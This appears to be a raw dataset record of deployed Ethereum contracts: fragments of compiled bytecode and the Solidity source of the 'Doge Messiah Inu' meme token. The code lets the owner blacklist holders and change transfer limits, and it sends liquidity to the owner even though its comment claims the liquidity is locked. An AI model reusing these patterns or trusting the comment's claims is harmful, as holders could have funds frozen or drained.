602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112a59092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111f9816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461136590919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290611352576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156113175780820151818401526020810190506112fc565b50505050905090810190601f1680156113445780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b6000808284019050838110156113e3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b505050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561149e5750600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561151a5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b8015611527575060095481115b1561167f57600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806115d55750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806116295750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61167e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806117186025913960400191505060405180910390fd5b5b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212208da5d90336ac7befb5192aecdb727cecc585247af25d5af6fd82a32d78d6204964736f6c63430006060033
{"success": true, "error": null, "results": {}}
7,460
0xdf17e3bfaa3060c7c9eef9e44f2faee8ec6a33e9
//Doge Messiah Inu (dMInu) //Limit Buy //Cooldown //Bot Protect //Liqudity dev provides and lock //TG: https://t.me/dogemessiahinu //Website: TBA //CG, CMC listing: Ongoing // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract dMessiahInu is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Doge Messiah Inu"; string private constant _symbol = "dMInu"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 5; uint256 private _teamFee = 10; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 5; _teamFee = 12; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (15 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 2500000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612ede565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612a01565b61045e565b6040516101789190612ec3565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190613080565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906129b2565b61048d565b6040516101e09190612ec3565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612924565b610566565b005b34801561021e57600080fd5b50610227610656565b60405161023491906130f5565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612a7e565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612924565b610783565b6040516102b19190613080565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612df5565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612ede565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612a01565b61098d565b60405161035b9190612ec3565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612a3d565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612ad0565b6110d1565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612976565b61121a565b6040516104189190613080565b60405180910390f35b60606040518060400160405280601081526020017f446f6765204d65737369616820496e7500000000000000000000000000000000815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611474565b61055b846104a66112a1565b610556856040518060600160405280602881526020016137b960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612fc0565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612fc0565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c97565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d92565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612fc0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f644d496e75000000000000000000000000000000000000000000000000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612fc0565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef90613396565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611e00565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612fc0565b60405180910390fd5b600f60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190613040565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d68919061294d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e02919061294d565b6040518363ffffffff1660e01b8152600401610e1f929190612e10565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e71919061294d565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612e62565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612af9565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506722b1c8c1227a00006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612e39565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd9190612aa7565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612fc0565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612f80565b60405180910390fd5b6111d860646111ca83683635c9adc5dea000006120fa90919063ffffffff16565b61217590919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120f9190613080565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090613020565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612f40565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190613080565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90613000565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612f00565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90612fe0565b60405180910390fd5b61159f610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600f60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590613060565b60405180910390fd5b5b5b60105481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600f60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b600f42611a7291906131b6565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610783565b9050600f60159054906101000a900460ff16158015611b2e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600f60169054906101000a900460ff165b15611b6e57611b5481611e00565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d848484846121bf565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612ede565b60405180910390fd5b5060008385611c8a9190613297565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce760028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d12573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6360028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8e573d6000803e3d6000fd5b5050565b6000600654821115611dd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd090612f20565b60405180910390fd5b6000611de36121ec565b9050611df8818461217590919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5e577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8c5781602001602082028036833780820191505090505b5090503081600081518110611eca577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6c57600080fd5b505afa158015611f80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa4919061294d565b81600181518110611fde577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a995949392919061309b565b600060405180830381600087803b1580156120c357600080fd5b505af11580156120d7573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210d576000905061216f565b6000828461211b919061323d565b905082848261212a919061320c565b1461216a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216190612fa0565b60405180910390fd5b809150505b92915050565b60006121b783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612217565b905092915050565b806121cd576121cc61227a565b5b6121d88484846122ab565b806121e6576121e5612476565b5b50505050565b60008060006121f9612488565b91509150612210818361217590919063ffffffff16565b9250505090565b6000808311829061225e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122559190612ede565b60405180910390fd5b506000838561226d919061320c565b9050809150509392505050565b600060085414801561228e57506000600954145b15612298576122a9565b600060088190555060006009819055505b565b6000806000806000806122bd876124ea565b95509550955095509550955061231b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff16